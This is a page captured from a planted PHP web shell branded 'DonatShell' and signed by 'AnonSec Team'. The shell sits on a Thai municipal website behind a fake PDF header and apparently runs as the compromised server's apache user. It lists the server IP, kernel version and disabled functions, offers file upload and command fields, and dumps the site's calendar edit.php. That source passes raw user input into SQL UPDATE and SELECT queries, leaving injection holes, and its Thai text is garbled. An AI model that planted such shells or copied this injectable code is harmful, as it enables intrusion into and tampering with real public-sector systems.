%PDF-1.5 % ºaâÚÎΞ-ÌE1�ØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.177.87  /  Your IP : 122.155.177.87
Web Server : Apache/2
System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64
User : apache ( 994)
PHP Version : 5.3.29
Disable Function : dl,eval,exec,mail,passthru,popen,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_open,putenv,shell_exec,show_source,system
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moungngam/domains/moungngam.go.th/public_html/calendar/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/moungngam/domains/moungngam.go.th/public_html/calendar/edit.php
<?
		session_start();
		if($user==""){
		$message = "¡ÃØ³Ò Login ¡è͹.";
			$url = "../admin/index.php";
			include("../admin/alert.php");
			exit;
       }
?>  
<?php require_once('../admin/Connections/conndb.php'); ?>
<?php
$editFormAction = $_SERVER['PHP_SELF'];
if (isset($_SERVER['QUERY_STRING'])) {
  $editFormAction .= "?" . htmlentities($_SERVER['QUERY_STRING']);
}

if ((isset($_POST["MM_update"])) && ($_POST["MM_update"] == "updatenews")) {
	
	$created=$years."-".$month."-".$dated;

	/*echo $created;
	echo $headline;
	echo $storytext;
	echo $filename;*/	

			$updateSQL = "UPDATE calendar SET person='$person',created='$created',time_1='$time_1',detail_1='$detail_1',where_1='$where_1',by_1='$by_1',time_2='$time_2',detail_2='$detail_2',where_2='$where_2',by_2='$by_2',time_3='$time_3',detail_3='$detail_3',where_3='$where_3',by_3='$by_3',time_4='$time_4',detail_4='$detail_4',where_4='$where_4',by_4='$by_4',time_5='$time_5',detail_5='$detail_5',where_5='$where_5',by_5='$by_5',time_6='$time_6',detail_6='$detail_6',where_6='$where_6',by_6='$by_6' WHERE id='$id'";
			//$updateSQL = "UPDATE news SET news_type='$news_type',headline='$headline',story_text='$storytext',filename='$filename' WHERE news_id='$news_id'";

  			mysql_select_db($database_conndb, $conndb);
  			$Result1 = mysql_query($updateSQL, $conndb) or die(mysql_error());

  $updateGoTo = "admin.php";
  if (isset($_SERVER['QUERY_STRING'])) {
    $updateGoTo .= (strpos($updateGoTo, '?')) ? "&" : "?";
    $updateGoTo .= $_SERVER['QUERY_STRING'];
  }
  //header(sprintf("Location: %s", $updateGoTo));

}

$colname_rsShownews = "-1";
if (isset($_GET['id'])) {
  $colname_rsShownews = (get_magic_quotes_gpc()) ? $_GET['id'] : addslashes($_GET['id']);
}
mysql_select_db($database_conndb, $conndb);
$query_rsShownews = sprintf("SELECT * FROM calendar WHERE id = %s", $colname_rsShownews);
$rsShownews = mysql_query($query_rsShownews, $conndb) or die(mysql_error());
$row_rsShownews = mysql_fetch_assoc($rsShownews);
$totalRows_rsShownews = mysql_num_rows($rsShownews);
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">     
<html><!-- InstanceBegin template="/Templates/template_a.dwt.php" codeOutsideHTMLIsLocked="false" -->                             
<head>
<!-- InstanceBeginEditable name="doctitle" -->
<script language="javascript">
function cc() {
	fnews.headline.value="";
	fnews.storytext.value="";
	fnews.news_type.value="";
	fnews.dated.value="";
	fnews.month.value="";
	fnews.years.value="";
}
function check() {
	if(fnews.headline.value==""){
		alert ("¡ÃسÒãÊèËÑÇ¢éÍ");
		fnews.headline.focus();
	}
	else if (fnews.storytext.value==""){
		alert ("¡ÃسÒãÊèÃÒÂÅÐàÍÕ´");
		fnews.storytext.focus();
	}
	else if (fnews.news_type.value==""){
		alert ("¡ÃسÒàÅ×Í¡»ÃÐàÀ·");
		fnews.news_type.focus();
	}
	else if (fnews.dated.value==""){
		alert ("¡ÃسÒàÅ×Í¡Çѹ·Õè»ÃСÒÈ");
		fnews.dated.focus();
	}
	else if (fnews.month.value==""){
		alert ("¡ÃسÒàÅ×Í¡Çà´×͹·Õè»ÃСÒÈ");
		fnews.month.focus();
	}
	else if (fnews.years.value==""){
		alert ("¡ÃسÒàÅ×Í¡»Õ ¾.È. ·Õè»ÃСÒÈ");
		fnews.years.focus();
	}
}
</script>
<!-- InstanceEndEditable --> 
<title>ͧ¤ì¡ÒúÃÔËÒÃÊèǹµÓºÅÁèǧ§ÒÁ µÓºÅÁèǧ§ÒÁ ÍÓàÀÍàÊÒäËé ¨Ñ§ËÇÑ´ÊÃкØÃÕ 18160 : www.moungngam.go.th</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="../styles.css" rel="stylesheet" type="text/css">
<!-- InstanceBeginEditable name="head" --><!-- InstanceEndEditable -->
<script language="JavaScript" type="text/JavaScript">
<!--



function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}
//-->
</script>
<script type="text/javascript" language="JavaScript1.2" src="../Templates/stm31.js"></script>
<style type="text/css">
<!--
body {
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;
	background-color: #00CCFF;	
}
.style2 {color: #CC6633}
-->
</style></head>
           
<body background="../images/tem_b1.jpg" style="background-repeat:no-repeat; background-position:top">
<div align="center" >
  <table width="980" border="0" cellpadding="0" cellspacing="0">
    <tr>
      <td valign="top"><div align="center">                        
        <table width="980" border="0" cellpadding="0" cellspacing="0">
          <tr>
            <td valign="top"><div align="center">
              <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0" width="980" height="650">
                <param name="movie" value="../images/head.swf">
                <param name="quality" value="high">
                <embed src="../images/head.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="980" height="650"></embed>
              </object>
            </div></td>
          </tr>
        </table>
      </div></td>
    </tr>

    <tr>
      <td>
    <tr>
          <td valign="top"><div align="center">
            <table width="980" border="0" cellpadding="0" cellspacing="0">
              
              <tr>
                <td height="200" valign="top">&nbsp;</td>
              </tr>
              <tr>
                <td height="2500" valign="top"><div align="center"><!-- InstanceBeginEditable name="EditRegion3" -->
<form action="<?php echo $editFormAction; ?>" method="POST" name="updatenews" enctype="multipart/form-data">
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td colspan="3" class="title2"><div align="center"><img src="../images/17.png" width="264" height="42"></div></td>
  </tr>
  <tr>
    <td class="styles1"><div align="right"><a href="../admin/main.php" class="styles2">˹éÒ Admin </a>| <a href="admin.php?date=<?=date('j-n-Y') ?>">»¯Ô·Ô¹¼ÙéºÃÔËÒà </a> | á¡é䢢éÍÁÙÅ | <a href="../admin/signout.php" class="styles2">ÍÍ¡¨Ò¡Ãкº </a></div></td>
  </tr>
  <tr>
    <td colspan="3" align="center" valign="top">&nbsp;</td>
  </tr>
  <tr>
    <td colspan="3" align="center" valign="top"><table width="600" border="0" cellpadding="2" cellspacing="2" class="box-center">
      <tr align="center">
        <td height="25" colspan="4" background="../images/bg4.gif" class="styles">á¡é䢢éÍÁÙÅ</td>
        </tr>
      <tr>
        <td width="100" height="30" align="right" class="title">»ÃÐàÀ·¢èÒÇ   : </td>
        <td height="30" colspan="3" align="left" class="red"><div align="left">
          <select name="person" size="1" class="styles1" id="person" title="<?php echo $row_rsShownews['person']; ?>">
  <option <?php if($row_rsShownews['person']== ""){?>selected="selected"<?php } ?>>-- àÅ×Í¡»ÃÐàÀ·¢èÒÇ--</option>
            <option value="1" <?php if($row_rsShownews['person']== "1"){?>selected="selected"<?php } ?>>¹Ò¡ ͺµ.</option>
            <option value="2" <?php if($row_rsShownews['person']== "2"){?>selected="selected"<?php } ?>>Ãͧ¹Ò¡¤¹·Õè 1</option>
            <option value="3" <?php if($row_rsShownews['person']== "3"){?>selected="selected"<?php } ?>>Ãͧ¹Ò¡¤¹·Õè 2</option>
            <option value="4" <?php if($row_rsShownews['person']== "4"){?>selected="selected"<?php } ?>>Êӹѡ§Ò¹»ÅÑ´</option>
            <option value="5" <?php if($row_rsShownews['person']== "5"){?>selected="selected"<?php } ?>>Êèǹ¤Åѧ</option>
            <option value="6" <?php if($row_rsShownews['person']== "6"){?>selected="selected"<?php } ?>>Êèǹâ¸Ò</option>
            

          </select>
          <span class="style1">**</span> </div></td>
        </tr>
      <tr>
        <td width="100" class="title" ><div align="right">Çѹ à´×͹ »Õ   : </div>         </td>
        <td colspan="3"><div align="left">
          <? $w=explode("-",$row_rsShownews['created']); ?>
            <select name="dated" class="styles1">
              <option value="0">Çѹ·Õè</option>
              <?
				  		for($i=1;$i<32;$i++){
					?>
              <option value="<?=$i;?>" <? if($w[2]==$i) echo "selected"; ?>>
                <?=$i;?>
                </option>
              <? 
						}
				  ?>
            </select>
            <select name="month" class="styles1">
              <option value="0">à´×͹</option>
              <option value="1" <? if($w[1]==1) echo "selected"; ?>>Á¡ÃÒ¤Á</option>
              <option value="2" <? if($w[1]==2) echo "selected"; ?>>¡ØÁÀҾѹ¸ì</option>
              <option value="3" <? if($w[1]==3) echo "selected"; ?>>ÁÕ¹Ò¤Á</option>
              <option value="4" <? if($w[1]==4) echo "selected"; ?>>àÁÉÒ¹</option>
              <option value="5" <? if($w[1]==5) echo "selected"; ?>>¾ÄÉÀÒ¤Á</option>
              <option value="6" <? if($w[1]==6) echo "selected"; ?>>ÁԶعÒ¹</option>
              <option value="7" <? if($w[1]==7) echo "selected"; ?>>¡Ã¡®Ò¤Á</option>
              <option value="8" <? if($w[1]==8) echo "selected"; ?>>ÊÔ§ËÒ¤Á</option>
              <option value="9" <? if($w[1]==9) echo "selected"; ?>>¡Ñ¹ÂÒ¹</option>
              <option value="10" <? if($w[1]==10) echo "selected"; ?>>µØÅÒ¤Á</option>
              <option value="11" <? if($w[1]==11) echo "selected"; ?>>¾ÄȨԡÒ¹</option>
              <option value="12" <? if($w[1]==12) echo "selected"; ?>>¸Ñ¹ÇÒ¤Á</option>
            </select>
            <select name="years" class="styles1">
              <option value="0">»Õ</option>
              <?
						for($y=2009;$y<2051;$y++){
					?>
              <option value="<?=$y;?>" <? if($w[0]==$y) echo "selected"; ?>>
                <?=$y+543;?>
                </option>
              <?
					}
					?>
            </select>
        </div></td>
        </tr>
	  <tr>
        <td height="30" align="right" class="title"><div align="center">àÇÅÒ</div></td>
	    <td height="30" align="left" class="title"><div align="center">ÇÒÃЧҹ</div></td>
	    <td align="left" class="title"><div align="center">ʶҹ·Õè</div></td>
	    <td align="left" class="title"><div align="center">à¨éÒÀÒ¾</div></td>
	    </tr>
	  <tr>
        <td width="100" height="30" align="right" valign="top" class="styles1"> <div align="center">
<input name="time_1" type="text" class="styles1" value="<?php echo $row_rsShownews['time_1']; ?>" size="10" maxlength="5" />          
¹.
        </div></td>
        <td width="180" align="left" class="red"><textarea name="detail_1" cols="25" rows="3" class="styles1"><?php echo $row_rsShownews['detail_1']; ?></textarea></td>
        <td width="160" valign="top" class="red"><div align="center">
          <input name="where_1" type="text" class="styles1"  value="<?php echo $row_rsShownews['where_1']; ?>" size="20">
        </div></td>
	    <td width="160" valign="top" class="red"><div align="center">
	      <input name="by_1" type="text" class="styles1"  value="<?php echo $row_rsShownews['by_1']; ?>"  size="20">
	    </div></td>
	  </tr>
	  <tr>
        <td height="30" align="right" valign="top" class="styles1"><div align="center">
            <input name="time_2" type="text" class="styles1" value="<?php echo $row_rsShownews['time_2']; ?>" size="10" maxlength="5" />
          ¹. </div></td>
	    <td align="left" class="red"><textarea name="detail_2" cols="25" rows="3" class="styles1"><?php echo $row_rsShownews['detail_2']; ?></textarea></td>
	    <td valign="top" class="red"><div align="center">
            <input name="where_2" type="text" class="styles1"  value="<?php echo $row_rsShownews['where_2']; ?>" size="20">
        </div></td>
	    <td valign="top" class="red"><div align="center">
            <input name="by_2" type="text" class="styles1"  value="<?php echo $row_rsShownews['by_2']; ?>"  size="20">
        </div></td>
	    </tr>
	  <tr>
        <td height="30" align="right" valign="top" class="styles1"><div align="center">
            <input name="time_3" type="text" class="styles1" value="<?php echo $row_rsShownews['time_3']; ?>" size="10" maxlength="5" />
          ¹. </div></td>
	    <td align="left" class="red"><textarea name="detail_3" cols="25" rows="3" class="styles1"><?php echo $row_rsShownews['detail_3']; ?></textarea></td>
	    <td valign="top" class="red"><div align="center">
            <input name="where_3" type="text" class="styles1"  value="<?php echo $row_rsShownews['where_3']; ?>" size="20">
        </div></td>
	    <td valign="top" class="red"><div align="center">
            <input name="by_3" type="text" class="styles1"  value="<?php echo $row_rsShownews['by_3']; ?>"  size="20">
        </div></td>
	    </tr>
	  <tr>
        <td height="30" align="right" valign="top" class="styles1"><div align="center">
            <input name="time_4" type="text" class="styles1" value="<?php echo $row_rsShownews['time_4']; ?>" size="10" maxlength="5" />
          ¹. </div></td>
	    <td align="left" class="red"><textarea name="detail_4" cols="25" rows="3" class="styles1"><?php echo $row_rsShownews['detail_4']; ?></textarea></td>
	    <td valign="top" class="red"><div align="center">
            <input name="where_4" type="text" class="styles1"  value="<?php echo $row_rsShownews['where_4']; ?>" size="20">
        </div></td>
	    <td valign="top" class="red"><div align="center">
	      <input name="by_4" type="text" class="styles1"  value="<?php echo $row_rsShownews['by_4']; ?>"  size="20">
	    </div></td>
	    </tr>
	  <tr>
        <td height="30" align="right" valign="top" class="styles1"><div align="center">
            <input name="time_5" type="text" class="styles1" value="<?php echo $row_rsShownews['time_5']; ?>" size="10" maxlength="5" />
          ¹. </div></td>
	    <td align="left" class="red"><textarea name="detail_5" cols="25" rows="3" class="styles1"><?php echo $row_rsShownews['detail_5']; ?></textarea></td>
	    <td valign="top" class="red"><div align="center">
            <input name="where_5" type="text" class="styles1"  value="<?php echo $row_rsShownews['where_5']; ?>" size="20">
        </div></td>
	    <td valign="top" class="red"><div align="center">
            <input name="by_5" type="text" class="styles1"  value="<?php echo $row_rsShownews['by_5']; ?>"  size="20">
        </div></td>
	    </tr>
	  <tr>
        <td height="30" align="right" valign="top" class="styles1"><div align="center">
            <input name="time_6" type="text" class="styles1" value="<?php echo $row_rsShownews['time_6']; ?>" size="10" maxlength="5" />
          ¹. </div></td>
	    <td align="left" class="red"><textarea name="detail_6" cols="25" rows="3" class="styles1"><?php echo $row_rsShownews['detail_6']; ?></textarea></td>
	    <td valign="top" class="red"><div align="center">
            <input name="where_6" type="text" class="styles1"  value="<?php echo $row_rsShownews['where_6']; ?>" size="20">
        </div></td>
	    <td valign="top" class="red"><div align="center">
            <input name="by_6" type="text" class="styles1"  value="<?php echo $row_rsShownews['by_6']; ?>"  size="20">
        </div></td>
	    </tr>
	  <tr>
        <td height="30" colspan="4" align="right" class="red"><div align="center"> ¡ÃسÒãÊè¢éÍÁÙÅ㹪èͧ·ÕèÁÕà¤Ã×èͧ ** ãËé¤Ãº </div></td>
	    </tr>
	  <tr>
        <td height="25" colspan="4" align="right" background="../images/bg4.gif"><div align="center">
          <input name="okbutton" type="submit" class="styles1" value="á¡éä¢"/>
        </div></td>
	  </tr>
    </table>
      
        <input name="nid" type="hidden" id="nid" value="<?php echo $row_rsShownews['id']; ?>" /></td> 
  </tr>
  <tr>
    <td height="30" colspan="3">&nbsp;</td>
  </tr>
</table>


<input type="hidden" name="MM_update" value="updatenews">
</form>
	  <!-- InstanceEndEditable --></div></td>
              </tr>
            </table>
          </div></td>
    </tr>
        <tr>
      <td height="423" valign="top"><table width="980" border="0" cellspacing="0" cellpadding="0">
              
              <tr>
                <td height="300" valign="top" background="../images/foot.jpg"><div align="center" class="footer">
                  <p>&nbsp;</p>
                  <p>&nbsp;</p>
                </div></td>
              </tr>                
  
            </table></td>
    </tr>
  </table>
      </div>

</body>
<!-- InstanceEnd --></html>
	<?
	if($conndb)
	 {
	  mysql_close($conndb);
	  unset($conndb);
	 }
	 ?>

Anon7 - 2022
AnonSec Team